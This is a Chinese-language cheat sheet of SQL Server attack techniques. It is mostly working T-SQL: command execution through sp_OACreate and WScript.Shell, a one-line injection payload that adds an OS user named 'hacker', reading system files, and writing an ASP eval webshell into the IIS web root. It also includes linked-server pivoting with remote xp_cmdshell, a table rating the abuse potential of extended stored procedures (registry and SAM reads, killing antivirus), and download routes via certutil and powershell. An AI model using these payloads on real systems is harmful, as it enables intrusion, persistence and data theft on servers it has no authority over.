SQL Server 內建 `sp_OACreate`, `sp_OAMethod`, `sp_OAGetProperty`, `sp_OASetProperty`, `sp_OADestroy`,允許 T-SQL 實例化 `ProgID` 並呼叫方法/屬性。**權限 = SQL Server 服務啟動帳號權限**。
DECLARE @o INT;
EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'notepad.exe'; -- 或 'cmd /c whoami > C:\out.txt'
-- 注入 Payload (單行):
'; DECLARE @o INT EXEC sp_OACreate ''WScript.Shell'', @o OUT EXEC sp_OAMethod @o, ''Run'', NULL, ''cmd /c net user hacker P@ssw0rd /add''--
-- 讀取 C:\boot.ini
DECLARE @o INT, @f INT, @ret INT, @line VARCHAR(8000);
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\boot.ini', 1; -- 1=ForReading
EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT;
WHILE @ret = 0 BEGIN PRINT @line; EXEC @ret = sp_OAMethod @f, 'ReadLine', @line OUT; END
-- 寫入 ASP Webshell (c:\inetpub\wwwroot\shell.asp)
EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
EXEC sp_OAMethod @o, 'CreateTextFile', @f OUT, 'C:\inetpub\wwwroot\shell.asp', 1;
EXEC sp_OAMethod @f, 'WriteLine', NULL, '<%@ Language=JScript %><% eval(Request.Item["cmd"], "unsafe"); %>';
**IIS 版本差異**:IIS 4/5 (NT 4.0) ASP 執行身分 = `System` (最高權限);IIS 6+ 預設 `IWAM_*` / `ApplicationPoolIdentity` (低權限)。
DECLARE @o INT, @ret INT;
EXEC sp_OACreate 'Speech.VoiceText', @o OUT;
EXEC sp_OAMethod @o, 'Register', NULL, 'foo', 'bar';
EXEC sp_OASetProperty @o, 'Speed', 150;
EXEC sp_OAMethod @o, 'Speak', NULL, 'All your SQL Servers are belong to us', 528; -- 528=SVSFDefault
WAITFOR DELAY '00:00:05';
**誤區**:「用存儲過程就防注入」。
**真相**:看應用**如何呼叫**存儲過程。
**驗證**:`EXEC sp_who '1'; SELECT * FROM sysobjects;` — 附加語句照常執行。
| 擴展存儲 | 功能 | 風險 |
|---|---|---|
xp_cmdshell | 執行 OS 命令 | **最高** — 直接取得 OS Shell |
xp_regread/write/delete/enum* | 讀寫登錄 (含 SAM、SNMP 社群字串) | 高 — 橫向移動、持久化、竄改配置 |
xp_servicecontrol | 啟動/停止/暫停 Windows 服務 | 中 — DoS、禁用防毒/備份服務 |
xp_availablemedia | 列舉磁碟機 | 低 — 偵察 |
xp_dirtree | 列出目錄樹 | 低 — 偵察敏感檔案路徑 |
xp_enumdsn | 列舉 ODBC DSN | 中 — 發現其他資料庫連線 |
xp_loginconfig | 顯示安全模式/登入配置 | 低 — 偵察 |
xp_makecab | 建立 CAB 壓縮檔 | 中 — 打包竊取檔案 |
xp_ntsec_enumdomains | 列舉可訪問網域 | 低 — 偵察 |
xp_terminate_process | 依 PID 終止程序 | 高 — 殺掉 SQL/防毒/監控進程 |
若 `master..sysservers` 存在連結伺服器且設定 `sp_addlinkedsrvlogin` (自動登入),攻擊者可跨伺服器執行:
SELECT * FROM OPENQUERY(LinkedSrv, 'SELECT * FROM master..syslogins');
-- 或執行遠端 xp_cmdshell
EXEC ('EXEC master..xp_cmdshell ''dir''') AT LinkedSrv;
**上傳途徑**:`xp_cmdshell` + `certutil`/`bitsadmin`/`powershell` 下載、FTP 腳本、HTTP 端點、錯誤日志寫入等。